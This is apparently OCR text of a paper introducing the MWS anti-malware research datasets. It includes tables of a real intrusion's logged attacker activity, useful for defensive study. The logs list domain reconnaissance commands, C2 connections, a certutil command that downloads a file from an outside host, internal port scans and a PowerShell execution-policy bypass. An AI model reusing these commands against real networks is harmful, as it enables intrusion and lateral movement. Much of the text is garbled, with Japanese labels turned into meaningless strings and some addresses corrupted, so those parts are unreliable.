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MWS Datasets for Anti-Malware Research
~ Contribution to the community and its challenges ~
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Abstract: One of the challenges in conducting anti-malware research is to generate the available common materials for sharing
researchers and practitioners. The materials mean datasets for the evaluation of proposed methodologies, such as malware samples
and infection activity data. This paper shows the overview of Anti-Malware engineering WorkShop since 2008, Dataset for the
anti-malware research and the ethical research process in cyber security research for promoting the utilization and creation of the

dataset.
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gl4 BHEDHNBREER gl5 =/IBOER
Date Time Observable event Date Time Observable event
2018/01/19 2018/01/23
12:20 1RIK(.exe)ERIT 18:42 1RiK(.exe)ERIT
12:26 *.*.102.145:443(CH%#% 18:43 *.*.102.145:443(CH%#%
12:39 C:¥Windows¥SysWOW64¥cmd.exe C:¥Windows¥SysWOW64¥cmd.exe
ipconfig /all ipconfig /all
12:45 net view 18:45 net view
12:46 arp-a 18:46 net group /domain
<rhBg> 18:47 net group "Domain computers" /domain
2018/01/22 19:05 net view /domain
09:15  *.*,102.145:443(CH&#E
09:51 C:¥Windows¥SysWOW64¥cmd.exe 2018/01/24
ipconfig /all 12:21  *.*.102.145:443(CH#%
net view 12:30 C:¥Windows¥SysWOW64¥cmd.exe
tracert www.yahoo.co.jp 12:31 certutil -urlcache -split -f
10:18 ping -n 1 ActiveDirectory http://*.*.7.117:443/active.htm active.txt
10:50 net group /domain 12:32  *.*.7.117:443(C3%6
10:53 net group "domain admins" /domain <Hhlg>
10:56 net group "domain controllers" /domain 12:43 C:¥Temp¥asus.exe 10.139.8.1-10.139.8.255
net group "domain users" /domain 21,22,23,53,139,445,443,80,3389,3128,8080
11:56 net view /domain asus.exedV> RCLDEZRENIRL (10 L)
net group /domain <thig>
net user /domain 13:02 powershell -exec bypass C:¥Temp¥profile.ps1
net group "DnsUpdateProxy" /domain 17:36  *.*.7.117:443(C3%6
net groupd¥> RCEZHEZRIZNIEL(10EI L) <EBE>
net user "1012000101" /domain
net userd¥> RICLBIRZEHERL(100EI E
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gl4 HEHEDRBIRT gl5 HEHEDRBRIRR
Date Time Observable event Date Time Observable event
2018/01/23 2018/01/24
10:11  *.*.102.145:443(C3%%T 12:21  *.*.102.145:443(CH4%
10:13  *.*.7.117:443(C3%6% 12:30 C:¥Windows¥SysWOW64¥cmd.exe
10:26 C:¥IPtool¥asus.exe 10.16.117.2 12:31 certutil -urlcache -split -f
ActiveDirectory:445 http://*.*.7.117:443/active.htm active.txt
C:¥IPtool¥asus.exe 10.16.117.7:443 12:32  *.*%.7.117:443(C38%
C:¥IPtool¥asus.exe 10.16.117.8:443 <HBE>
C:¥IPtool¥asus.exe 10.16.117.6:21 12:43 C:¥Temp¥asus.exe 10.139.8.1-10.139.8.255
C:¥IPtool¥asus.exe 10.16.117.6:3389 21,22,23,53,139,445,443,80,3389,3128,8080
C:¥IPtool¥asus.exe 10.16.117.10:445 asus.exed¥> RIC S BERFRIENIRL (10BN |
C:¥IPtool¥asus.exe 10.16.117.11:3389
asus.exedV> RCLBIEFHENIEL(150EI F)
<rhlg>
17:04 *.*.102.145:443( &
asus.exedV> RICLBHEFRIEDIRL(80EI £)
17:35 C:¥Windows¥SysWOW64¥cmd.exe
17:39 C:¥IPtool¥asus.exe asus 10.32.1.1-10.32.1.255
21,22,23,53,139,445,443,80,3389,3128,8080
17:47 C:¥IPtool¥asus.exe asus 10.32.1.160 3128
17:48 C:¥IPtool¥asus.exe asus 192.168.12.1-

192.168.12.255
21,22,23,53,139,445,443,80,3389,3128,8080
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